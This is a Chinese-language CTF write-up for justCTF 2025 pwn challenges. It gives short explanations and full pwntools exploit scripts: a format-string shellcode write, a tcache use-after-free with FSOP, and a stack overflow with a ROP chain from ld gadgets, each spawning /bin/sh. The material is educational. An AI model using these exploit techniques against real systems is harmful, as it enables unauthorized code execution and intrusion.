justctf2025 pwn

上周打了一下justctf,做了一道babyheap,shellcode没想到jmp短跳指令,没做出来,prospector和jctfcoin是学长做的就没看,QAQ,今天看了一下,还可以

shellcode printer

利用printf的%hn,每次两个字节向mmap中写shellcode,最后可以执行两个字节的shellcode,利用jmp的短跳指令可以直接跳回一开始的shellcode,就可以getshell了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context(arch="amd64", os="linux")
#context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())


shellcode=asm(
"""
movabs rdi, 0x68732f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
xor rax,rax
add rax,59
syscall
"""
)
while True:
p=process('./shellcode')
# p=remote('shellcode-printer.nc.jctf.pro',1337)
for i in range(0, len(shellcode), 2):
# 提取两字节,如果是最后一个且长度为奇数则只取一个字节
if i + 1 < len(shellcode):
two_bytes = shellcode[i] | (shellcode[i+1] << 8)
else:
two_bytes = shellcode[i]

# 计算需要填充的字符数
padding = two_bytes

# 构造格式字符串,%6$hn表示写入到第6个参数指向的地址
fmt_str = b'%' + str(padding).encode() + b'c%6$hn'
ru(b'Enter a format string: ')
sl(fmt_str)

fmt_str = b'%' + str(0xe0eb).encode() + b'c%6$hn'
ggg()
ru(b'Enter a format string: ')
sl(fmt_str)
ru(b'Enter a format string: ')
sl(b'')
shell()

babyheap

很明显的free掉chunk后指针没有清零,可以uaf,难点在于怎么泄露libc,利用tcache任意地址分配chunk,打tcache的结构体,使得堆管理机制认为0x100的chunk已经把tcachebin填满了,然后堆叠伪造一个0x100的chunk,free掉这个chunk就会进入到unstorebin了,然后就可以泄露libc了,之后就是FSOP,没什么好说的了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *

context(arch="amd64", os="linux")
# context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

elf=ELF('./babyheap')
libc=ELF('./libc.so.6')
def add(index,content):
ru(b'> ')
sl(b'1')
ru(b'Index? ')
sl(str(index).encode())
ru('Content? Content? ')
s(content)

def read(index):
ru(b'> ')
sl(b'2')
ru(b'Index? ')
sl(str(index).encode())

def edit(index,content):
ru(b'> ')
sl(b'3')
ru(b'Index? ')
sl(str(index).encode())
ru('Content? ')
s(content)

def free(index):
ru(b'> ')
sl(b'4')
ru(b'Index? ')
sl(str(index).encode())

def esc():
sla(b'> ',b'a')

# p=process('./babyheap')
p=remote('baby-heap.nc.jctf.pro',1337,timeout=10)
# p=remote('0.0.0.0',9999)
add(0,b'a')
add(1,b'a')
free(0)
read(0)
key=u64(p.recv(5).ljust(8,b'\x00'))
heap_base=key<<12
print(hex(heap_base))
free(1)
payload=p64(key^he(0x20))
edit(1,payload)
add(2,b'a')
add(3,p64(0)+p64(0x700000000))
add(4,b'a')
add(6,b'a')
add(7,b'a')
add(8,b'a')
add(9,b'a')
# add(10,p64(0)+p64(0x101)+p64(he(0x430+0x40*1)^key))
# add(11,p64(0)+p64(0x101)+p64(he(0x430+0x40*2)^key))
# add(12,p64(0)+p64(0x101)+p64(he(0x430+0x40*3)^key))
# add(13,p64(0)+p64(0x101)+p64(he(0x430+0x40*4)^key))
# add(14,p64(0)+p64(0x101)+p64(he(0x430+0x40*5)^key))
# add(15,p64(0)+p64(0x101)+p64(he(0x430+0x40*6)^key))
# add(16,p64(0)+p64(0x101)+p64(key))
free(1)
free(4)
edit(4,p64(he(0x2d0)^key))
add(5,b'a')
add(10,p64(0)+p64(0x101))
free(1)
read(2)
libc_base=uu64()-0x203b20
print(hex(libc_base))
_IO_list_all=lis('_IO_list_all')
IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
setcontext_61=libc_base+libc.sym['setcontext']+61
system,binsh=getshell()
free(6)
free(7)
edit(7,p64(_IO_list_all^key))
add(18,b'a')
add(19,p64(he(0x2a0)))
edit(0,b'/bin/sh\x00'+p64(0)*4+p64(1))
edit(6,p64(0)*3+p64(IO_wfile_jumps+0x30))
edit(4,p64(0)+p64(he(0x200))+p64(0)*2+p64(he(0x2e0)))
edit(1,p64(0)+p64(0)*3+p64(1))
print(hex(_IO_list_all))
edit(7,p64(0)*3+p64(system)+p64(he(0x3a0)))
esc()
shell()

prospector

这个题没有libc,只有ld,还是挺有意思的,对于逆向的帮助挺大的

在Nick输入的时候有栈溢出,可以先修改判断条件的地方为1,然后泄露信息后对照伪代码进行逆运算,就可以得到mmap的地址了,不过有一位不知道,需要爆破一下,16分之一的几率,也是挺快的,mmap的地址和ld地址的偏移是固定的,泄露出ld之后用ld里的gadget就可以getshell了,题目中还给了一个空函数,里面有一些gadget不知道是干啥用的,没用到就可以getshell,可能这是非预期了吧

因为远程的环境已经停止了,没有试过远程,本地可以通 ) (

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

context(arch="amd64", os="linux")
#context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

elf=ELF('./prospector')
while True:
p=process('./prospector')
# p=remote('prospector.nc.jctf.pro',1337)
ru(b'Nick: ')
s(b'a'*0x48+p32(1))
ru(b'score: ')
key=int(ru(b'\n')[:-1])
mmap=((key|0xe0000000)//2)<<16
mmap+=0x8000
print(hex(mmap))
ld=mmap+0x9000
rdi_rbp=0x0000000000003399+ld
rsi_rbp=0x0000000000005740+ld
rax=0x0000000000015b3b+ld
syscall=0x000000000000b8b9+ld
binsh=mmap+0x40+0x30
rdx=0x000000000002856e+ld#mov rdx, qword ptr [rax + 0x10] ; test rdx, rdx ; jne 0x28560 ; ret
ru(b'Nick: ')
s(b'a'*0x20+p64(mmap)+p64(mmap+0x40)+p64(0)+p64(rdi_rbp)+p64(binsh-0x21)+p64(0)+p64(rsi_rbp)+p64(0)+p64(0)+p64(rax)+p64(mmap+0x100)+p64(rdx)+p64(rax)+p64(0x3b)+p64(syscall))
ru(b'Color: ')
s(b'a'*0x31+b'/bin/sh\x00')
data = p.recv()
if b"Invalid color, try again" in data:
p.close()
else:
break

shell()

jctfcoin

看了一下题目,和挖矿的函数没有什么联系,主要在REname,也就是edit的过程中有16字节的溢出,off by one都可以getshell,16字节更不用说了,堆叠后通过堆风水是可以实现泄露libc和heap的,之后也是FSOP就可以了,没什么新东西

大概看了一下后就没写exp了,QAQ,不要学我这么懒噢~~

exp:

1
#看啥呢,都说了没写了(;;